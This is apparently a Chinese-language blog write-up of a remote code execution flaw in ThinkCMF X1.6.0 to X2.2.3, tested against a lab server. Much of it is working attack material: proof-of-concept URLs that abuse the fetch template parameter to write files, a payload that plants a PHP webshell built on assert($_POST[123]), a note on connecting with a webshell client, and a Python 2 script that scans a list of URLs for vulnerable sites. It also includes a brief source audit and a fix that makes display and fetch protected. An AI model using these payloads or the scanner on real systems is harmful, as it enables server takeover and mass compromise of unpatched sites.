1.漏洞概述
攻擊者可利用此漏洞構造惡意的url,向服務器寫入任意內容的文件,達到遠程代碼執行的目的
2.影響版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1(我用的是這個)
ThinkCMF X2.2.2
ThinkCMF X2.2.3
3.安裝
賦予權限

4.安裝系統





安裝成功進入主頁
- Poc
/?a=display&templateFile=README.md
/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
- 測試
Poc1:
http://192.168.2.135/thinkcmf-X2.2.1//?a=display&templateFile=README.md

POC2:
http://192.168.2.135/thinkcmf-X2.2.1/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>

查看info.php
沒有寫入成功,干脆看看源代碼吧

這里提出了錯誤信息意思是,沒有寫入權限
[2] file_put_contents(info.php): failed to open stream: Permission denied /var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal/''2539f066e2972ad12f670857ed0f6b3d.php 第 1 行.
- 簡單審計
在這個目錄下面/var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal
生成了一個臨時文件

打開查看

<?php if (!defined('THINK_PATH')) exit(); file_put_contents('info.php','<?php phpinfo();?>');?>
后面檢查了一下發現是權限分發的問題
切換到cms目錄下賦予所有文件可讀可寫可執行權限
chmod –R 777 *
重新執行POC2
可以看到已經寫入成功,這里執行了phpinfo

- 提權操作
Payload:
/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('shell.php','<?php $a="assert";$a($_POST[123]);?>');?>
前面既然可以寫入phpinfo,自然也可以寫入惡意代碼

沒有顯示錯誤,代表寫入成功,訪問一下,並連接一下試試

手動連接

列出文件(assert好像手工不太好使,emmmm)
還是上菜刀

- 源代碼審計
通過index.php可以發現,項目入口是application/,切換目錄過去

根據poc盲猜控制器IndexController.class.php

空盪盪的,就一個index方法,這里繼承的是父類HomebaseController,切出去看看作為程序入口,使用public是比較危險的,public是公有方法任何人都可以調用,並且這里是可以操控的,因此這里可能就是一個漏洞點(修補的話,把public改為protected)

路徑找到了,/application/Common/Controller/ 
直接搜索fecth
獲取輸出頁面內容
調用內置的模板引擎fetch方法,
@access protected
@param string $templateFile 指定要調用的模板文件
默認為空 由系統自動定位模板文件
@param string $content 模板輸出內容
@param string $prefix 模板緩存前綴*
@return string
值得關注的是125行這里
125 */
126 public function fetch($templateFile='',$content='',$prefix=''){
127 $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
128 return parent::fetch($templateFile,$content,$prefix);
129 }
這里fetch函數的三個參數分別對應模板文件,輸出內容,模板緩存前綴,而fetch函數的作用是獲取頁面內容,調用內置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時便可以形成模板注入。
分析不下去(分析失敗。。。。)
- 修復方案
將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改為 protected
自動化檢測漏洞腳本
#-*- coding:utf-8 -*-
import urllib2
import re
'''
ThinkCMF框架任意內容包含漏洞
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
Poc:
/?a=display&templateFile=README.md
/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
Author:Mke2fs
備注:檢測腳本可能會誤報,自行優化,優化完了記得滴滴一下我
還有記得表明出處
'''
path='url地址列表,用絕對路徑'
#thincmf_payload=['/public/index','/Public/index']
payload=['?a=display&templateFile=README.md']
su=[]
def test_is_thinkcmf():
with open(path) as f:
contents=f.read() #讀取域名
#print contents.replace('\r','').split('\n')
urllist=contents.replace('\r','').split('\n')#去除分割符,形成一個url列表
for uri in urllist:
try:
print uri
for x in payload:
res=urllib2.Request(uri+x)#urlopen(uri+x,timeout=2)
result=urllib2.urlopen(res,timeout=2)#超時兩秒
html=result.read() #獲取網頁內容
#print html
aa = re.search('ThinkCMF',html)
#print aa
if aa !=None :
print "\033[31m[*] Vulnerabled!" + "URL:" + uri, aa.group() # 設置前景色為紅色
su.append(uri)
else:
print '\033[32m[*] Not Vuln' # 設置前景色為綠色
except Exception as e:
print '\033[32m[*] 未知錯誤或異常!',e
print su
with open('包含漏洞url的保存地址','a+') as ff:
for i in su:
ff.write(i+'\n')
test_is_thinkcmf()
參考文章:
https://xz.aliyun.com/t/6626#toc-5
https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0
